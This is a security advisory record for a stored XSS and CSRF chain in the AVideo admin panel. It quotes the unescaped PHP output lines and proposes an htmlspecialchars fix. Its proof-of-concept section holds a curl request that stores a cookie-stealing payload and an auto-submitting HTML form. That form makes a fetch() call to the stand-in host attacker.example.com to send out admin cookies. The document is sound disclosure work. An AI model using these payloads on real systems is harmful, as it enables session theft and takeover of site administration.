{"id":"GHSA-v4h7-3x43-qqw4","aliases":["CVE-2026-34396"],"title":"AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel","description":"## Summary\n\nThe AVideo admin panel renders plugin configuration values in HTML forms without applying `htmlspecialchars()` or any other output encoding. The `jsonToFormElements()` function in `admin/functions.php` directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on `admin/save.json.php`) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.\n\nThis vulnerability chains with AVI-046 (CSRF on `save.json.php`) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.\n\n## Details\n\nThe `jsonToFormElements()` function in `admin/functions.php` contains multiple unsafe output points where configuration values are rendered without escaping:\n\n**Textarea injection (line 47):**\n```php\n// admin/functions.php:47\n$html .= \"<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>\";\n```\nThe `$valueJson->value` is placed directly between textarea tags without encoding.\n\n**Select option injection (line 55):**\n```php\n// admin/functions.php:55\n$html .= \"<option value='{$key}' {$select}>{$value}</option>\";\n```\nBoth `$key` and `$value` are inserted without encoding, allowing attribute breakout and HTML injection.\n\n**Input type and value injection (lines 62-63):**\n```php\n// admin/functions.php:62-63\n$html .= \"<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>\";\n```\nBoth `type` and `value` attributes are unescaped, enabling attribute injection.\n\n**Fallback input injection (line 75):**\n```php\n// admin/functions.php:75\n$html .= \"<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>\";\n```\nThe raw `$valueJson` string is placed into the `value` attribute without encoding.\n\nConfiguration values are saved via `admin/save.json.php`, which lacks CSRF token validation.\n\n## Proof of Concept\n\n**Method 1: Direct exploitation (requires admin session)**\n\n```bash\n# Store XSS payload in a plugin configuration value\n# The endpoint uses pluginName and direct field names as parameters\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  -X POST \"https://your-avideo-instance.com/admin/save.json.php\" \\\n  -d \"pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='\"\n```\n\nWhen any admin visits the plugin configuration page, the payload fires.\n\n**Method 2: Cross-origin chain with CSRF (no authentication required)**\n\nCreate the following HTML page and trick an admin into visiting it:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>AVI-033 + AVI-046 Chain PoC</title></head>\n<body>\n<h1>Loading...</h1>\n<form id=\"xss\" method=\"POST\"\n      action=\"https://your-avideo-instance.com/admin/save.json.php\">\n  <input type=\"hidden\" name=\"name\" value=\"Gallery\" />\n  <input type=\"hidden\" name=\"parameter\" value=\"description\" />\n  <input type=\"hidden\" name=\"value\"\n         value=\"' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='\" />\n</form>\n<script>document.getElementById('xss').submit();</script>\n</body>\n</html>\n```\n\nThe payload breaks out of the `value` attribute in the rendered input element:\n\n```html\n<!-- Rendered HTML in admin panel -->\n<input class='form-control' type='text'\n       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''\n       name='description' id='description'/>\n```\n\n## Impact\n\nAn attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on `save.json.php`, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:\n\n- Steal admin session cookies and CSRF tokens\n- Create new admin accounts\n- Modify site configuration (enable file uploads, disable security features)\n- Inject persistent JavaScript into public-facing pages via site-wide settings\n- Pivot to server-side code execution via plugin upload functionality\n\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n- **Severity**: High\n\n## Recommended Fix\n\nApply `htmlspecialchars($value, ENT_QUOTES, 'UTF-8')` to all user-controlled values rendered in `admin/functions.php`:\n\n```php\n// admin/functions.php:47 - textarea content\n$html .= \"<textarea class='form-control' name='{$name}' id='{$id}'>\" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . \"</textarea>\";\n\n// admin/functions.php:55 - select option\n$html .= \"<option value='\" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . \"' {$select}>\" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . \"</option>\";\n\n// admin/functions.php:62-63 - input type and value\n$html .= \"<input class='form-control' type='\" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . \"' value='\" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . \"' name='{$name}' id='{$id}'/>\";\n\n// admin/functions.php:75 - fallback input\n$html .= \"<input class='form-control' type='text' value='\" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . \"' name='{$name}' id='{$id}'/>\";\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","severity":"medium","score":6.1,"published":"2026-03-31T23:22:21.000Z","modified":"2026-03-31T23:41:23.506Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"wwbn/avideo","ranges":[{"events":[{"introduced":"0"},{"last_affected":"26.0"}],"type":"ECOSYSTEM"}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"fixed":[]}],"references":["https://github.com/WWBN/AVideo/security/advisories/GHSA-v4h7-3x43-qqw4","https://nvd.nist.gov/vuln/detail/CVE-2026-34396","https://github.com/WWBN/AVideo/commit/a93ba83eb9f3aa47cd16af0a0dc13da3bf8ac4d1","https://github.com/WWBN/AVideo"],"sources":[{"name":"OSV","id":"GHSA-v4h7-3x43-qqw4","modified":"2026-03-31T23:41:23.506308Z","url":"https://osv.dev/vulnerability/GHSA-v4h7-3x43-qqw4"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1}]}